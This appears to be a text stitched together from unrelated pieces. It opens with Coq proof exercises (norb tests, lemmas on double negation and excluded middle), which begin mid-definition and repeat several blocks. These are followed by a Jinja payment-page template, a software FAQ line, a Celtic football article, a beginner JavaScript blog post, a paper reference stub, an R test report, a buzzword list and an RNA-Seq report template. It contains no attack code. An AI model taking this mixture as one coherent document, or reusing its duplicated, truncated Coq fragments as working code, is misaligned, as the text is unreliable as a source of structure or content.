| false => negb b2
end.
Example test_norb1: (norb false false) = true.
Proof. simpl. reflexivity. Qed.
Example test_norb2: (norb false true) = false.
Proof. simpl. reflexivity. Qed.
Example test_norb3: (norb true false) = false.
Proof. simpl. reflexivity. Qed.
Example test_norb4: (norb true true) = false.
Proof. simpl. reflexivity. Qed.
match b1 with
| true => false
| false => negb b2
end.
Example test_norb1: (norb false false) = true.
Proof. simpl. reflexivity. Qed.
Example test_norb2: (norb false true) = false.
Proof. simpl. reflexivity. Qed.
Example test_norb3: (norb true false) = false.
Proof. simpl. reflexivity. Qed.
Example test_norb4: (norb true true) = false.
Proof. simpl. reflexivity. Qed.
Use precedence and associativity
Eval compute in 3+4.
Eval compute in Nat.add 3 4.
Eval compute in 3*4.
Eval compute in Nat.mul 3 4.
Eval compute in 2+3*5.
Eval compute in (Nat.add 2 (Nat.mul 3 5)).
Lemma sample1_1: forall a: Prop, ~(~a /\ a).
Proof.
intros a.
unfold not.
intros.
destruct H as [H1 H2].
apply H1.
exact H2.
Qed.
Eval compute in Nat.add 3 4.
Eval compute in 3*4.
Eval compute in Nat.mul 3 4.
Eval compute in 2+3*5.
Eval compute in (Nat.add 2 (Nat.mul 3 5)).
Lemma sample1_1: forall a: Prop, ~(~a /\ a).
Proof.
intros a.
unfold not.
intros.
destruct H as [H1 H2].
apply H1.
exact H2.
Qed.
Lemma sample1_2: forall a: Prop, a -> ~~a.
Proof.
intros a.
unfold not.
intros H1.
intros H2.
apply H2.
exact H1.
Qed.
Require Import ClassicalFacts.
Require Import Classical_Prop.
Print excluded_middle.
Check excluded_middle.
Variable xx: Prop.
Check (classic xx).
Check classic.
Lemma NNPeirce : forall A B: Prop, ~~(((A -> B) -> A) -> A).
Proof.
tauto.
Qed.
Require Import ClassicalFacts.
Require Import Classical_Prop.
Theorem restricted_excluded_middle : forall (P:Prop) (b:bool),
(P <-> b = true) -> P \/ ~P.
Proof.
intros P [] H.
- left. rewrite H. reflexivity.
- right. rewrite H. intros contra. discriminate contra.
Qed.
Require Import Bool.
Require Import Arith.
Theorem restricted_excluded_middle_eq : forall n m : nat,
n = m \/ n <> m.
Proof.
intros n m.
apply (restricted_excluded_middle (n = m) (beq_nat n m)).
symmetry.
apply eqb_eq.
Qed.


{% extends "base.html" %} {% block content %}
The fastest and most secure way to pay for membership is via PayPal. You may also do a bank transfer. For all payments over £5500 please email lars[at]doaj[.]org.
To make a bank transfer you must first send us the following information by email to lars[at]doaj[.]org:
Here are the bank details you will need to make the transfer:
If you have any questions, send an email to lars[at]doaj[.]org
{#


Ameol Easter Egg
Previous
Top
Next
As with all our other products, there are no "Gang Screens" or "Easter Eggs" within Ameol.
;-)


Neil Lennon hails "natural-born goalscorer" Leigh Griffiths
Neil Lennon hopes fit-again Leigh Griffiths' best years at Celtic are still to come.
The Scotland striker came off the bench in the second half of the 4-0 Ladbrokes Premiership win over Livingston at Parkhead on Saturday for his first appearance since August due to personal problems, illness and injury.
In an interview with Celtic TV, boss Lennon encouraged the 29-year-old "natural born goalscorer", who signed from Wolves in January 2014, to keep on top of his fitness and go from strength to strength at the club.
https://twitter.com/CelticTV/status/1199023299348619264/photo/1
"I have spoken to him about this," said the former Celtic captain and midfielder, who also hopes the shoulder injury Jonny Hayes picked up against Livi is not as bad as first feared.
"I hope so. I didn't come to Celtic until I was 29 and people thought I had been here all my life.
"If you look after yourself and keep yourself in good condition, you can play for a long time now, the way the modern game is going.
"He certainly has the appetite for it. There is a hunger there to get back in and he really missed playing.
"Hopefully he will get fitter and stronger and have a good run of games now. He needs to do extra work, he needs to stay on top of his condition.
"He is in reasonable condition now and he is working hard and to make sure he stays fit.
"The fitter you are, the more robust you become and then you are less likely to pick up soft tissue injuries which is one that he had with a thigh strain.
"It is good to have him back, it adds that little bit of quality to the attack and strength that we already have."
Hayes injured his shoulder in the opening minutes but stayed on until early in the second half before being replaced by Greg Taylor.
Lennon said: "He is having a scan this evening.
"We are hoping it is just a muscle injury and if that is the case he should be good to go in the next week or so.
"We have a couple coming back. Mikey Johnston is back in training, we are hoping Mohamed Elyounoussi will be training by the end of the week.
"So fingers crossed Jonny isn't as bad as we first feared."
body check tags ::


JavaScript
By Shreya Patel
July 3, 2014
You’re probably wondering what JavaScript is? Here’s what it come down to:
JavaScript is an object orientated programming language that is built into all major web browsers. It is used to create interactive features on webpages making websites more dynamic.
There’s an increasing popularity of JavaScript usage and here’s why:
- JavaScript is used on the front end to create interactive elements on websites
- It works greatly alongside HTML and CSS
- JavaScript comes installed on every modern web browser, so it’s useable right way
- Since its client-side, there is less load on the server, making it speedy
- JavaScript is simple and quick to learn, making it a popular language even amongst high school computer courses
- Tons of job growth and high pay for those who know JavaScript
What about the backend?
- JavaScript not only runs in the frontend, but also in the backend
- You can build servers in JS using Node.js
- AJAX created the ability to use JS in conjunction with data
- JavaScript Object Notation allows transferring of information from a database to website
- Frameworks like, Ember.js, Angular.js, and Backbone.js, are all powering the creation of interactive web applications
- JavaScript is a great fit for mobile development platforms forms because
- It has the ability to meet the demands of rapid development
- Maximizes the user experience
While programming languages are constantly improving, there are downsides such as the following,
- Since JavaScript code runs on the user’s computer it can be accessible by others who may potentially exploit the user’s system
- JavaScript is rendered differently by different browsers. Client-side scripts can vary compared to server-side scripts, where the output is always the same. You want make sure to test your JS script on various browsers for consistency.
- Users may have client-side code block, which eliminates viewers.
Resources


An Analysis and Critique of Research through Design:
towards a formalization of a research approach
Authors
John Zimmerman, Erik Stolterman, Jodi Forlizzi
Year
Notes
Tags
Relevance
Quotations
Boundary Objects
Concepts
Field of Study
Methodology
References
Status
Unread


{testdown} report
2022-01-01
{testdown}
report for {lossrx}
Performed on the: 2022-01-01 21:23:43 , using {testdown} version 0.1.1
Tested Package Information:
- Title : Actuarial Loss Development and Reserving with R
- Version : 0.0.2
- Description : Actuarial Loss Development and Reserving Helper Functions and ShinyApp.
Project Information:
Project Name : lossrx
Environment : C:/Users/jimmy/Dev/jimbrig/lossrx
Number of test file(s) : 6
Result Overview:
Number of test(s) : 8
Number of expectation(s) : 18
Number of successful expectation(s) : 18
Number of failed expectation(s) : 0
Number of errored expectation(s) : 0
Number of expectation(s) with warning(s) : 0
Number of validated skip expectation(s) : 0
Number of skipped expectation(s) : 0
Help:
Test session infrastructure (click to expand)
R version 4.1.2 (2021-11-01)
Platform: x86_64-w64-mingw32/x64 (64-bit)
Running under: Windows 10 x64 (build 22523), RStudio 2<IP_ADDRESS>2
Locale:
LC_COLLATE=English_United States.1252 LC_CTYPE=English_United States.1252 LC_MONETARY=English_United States.1252
LC_NUMERIC=C LC_TIME=English_United States.1252
Package version:
askpass_1.1 assertthat_0.2.1 attachment_0.2.4 attempt_0.3.1 base64enc_0.1.3 bookdown_0.24 brew_1.0.6
brio_1.1.3 bslib_0.3.1 cachem_1.0.6 callr_3.7.0 cli_3.1.0 clipr_0.7.1 colorspace_2.0-2
commonmark_1.7 compiler_4.1.2 cpp11_0.4.2 crayon_1.4.2 credentials_1.3.2 crosstalk_1.2.0 curl_4.3.2
data.table_1.14.2 DBI_1.1.2 desc_1.4.0 devtools_2.4.3 diffobj_0.3.5 digest_0.6.29 downlit_0.4.0
dplyr_1.0.7 ellipsis_0.3.2 evaluate_0.14 fansi_0.5.0 farver_2.1.0 fastmap_1.1.0 flipTime_2.9.4
fs_1.5.2 generics_0.1.1 gert_1.4.3 ggplot2_3.3.5 gh_1.3.0 gitcreds_0.1.1 glue_1.6.0
graphics_4.1.2 grDevices_4.1.2 grid_4.1.2 gtable_0.3.0 here_1.0.1 highr_0.9 htmltools_0.5.2
htmlwidgets_1.5.4 httr_1.4.2 ini_0.3.1 installr_0.23.2 isoband_0.2.5 jquerylib_0.1.4 jsonlite_1.7.2
knitr_1.37 labeling_0.4.2 later_1.3.0 lattice_0.20.45 lazyeval_0.2.2 lifecycle_1.0.1 lossrx_0.0.2
lubridate_1.8.0 magrittr_2.0.1 MASS_7.3.54 Matrix_1.3.4 memoise_2.0.1 methods_4.1.2 mgcv_1.8.38
mime_0.12 munsell_0.5.0 nlme_3.1.153 openssl_1.4.6 pillar_1.6.4 pkgbuild_1.3.1 pkgconfig_2.0.3
pkgdown_2.0.1 pkgload_1.2.4 plotly_4.10.0 praise_1.0.0 prettyunits_1.1.1 processx_3.5.2 promises_<IP_ADDRESS>
ps_1.6.0 purrr_0.3.4 R6_2.5.1 ragg_1.2.1 rappdirs_0.3.3 rcmdcheck_1.4.0 RColorBrewer_1.1.2
Rcpp_1.0.7 rematch2_2.1.2 remotes_2.4.2 rlang_0.4.12 rmarkdown_2.11 roxygen2_7.1.2 rprojroot_2.0.2
rstudioapi_0.13 rversions_2.1.1 sass_0.4.0 scales_1.1.1 sessioninfo_1.2.2 splines_4.1.2 stats_4.1.2
stringi_1.7.6 stringr_1.4.0 sys_3.4 systemfonts_1.0.3 testdown_0.1.1 testthat_3.1.1 textshaping_0.3.6
tibble_3.1.6 tidyr_1.1.4 tidyselect_1.1.1 tinytex_0.36 tools_4.1.2 usethis_2.1.5 utf8_1.2.2
utils_4.1.2 vctrs_0.3.8 viridisLite_0.4.0 waldo_0.3.1 whisker_0.4 withr_2.4.3 xfun_0.29
xml2_1.3.3 xopen_1.0.0 yaml_2.2.1 zip_2.2.0
Glossary (click to expand)
- A file is one test-*.R file from the testthat folder.
- A test is one function call that starts with
test_that('',
. - An expectation is a function call that starts with
expect
. - A successful expectation is an expectation where the test is valid.
- A failed expectation is an expectation where the test is invalid.
- An expectation with warning is an expectation where the code of the test returned a warning.
- An errored expectation is an expectation where the code of the test returned an error (further expectations in the test are not run).
- A validated skip expectation is an expectation that starts with
skip
, and which has been validated (further expectations in the test are not run). - A skipped expectation is an expectation which has not been run because it comes after an expectation with error or a validated skip expectation in the test.


We monetize content!
- expedite end-to-end action-items
- transform efficient convergence
- architect collaborative relationships
- morph innovative applications
- utilize sexy portals
- orchestrate wireless action-items
- strategize sticky networks
- brand out-of-the-box e-markets
- synthesize ubiquitous ROI
- generate customized markets
- incentivize revolutionary web services
- leverage robust infomediaries
- envisioneer interactive methodologies


RNA-Seq pipeline (aRNApipe)
RNA-Seq pipeline (aRNApipe)
Project: #PROJECT
#LATMENU
#PROG: DETECTION OF DIFFERENTIAL ALTERNATIVE SPLICING
Access to the
html report
generated by jSplice.
#TABLE Check the
jSplice documentation
for more details.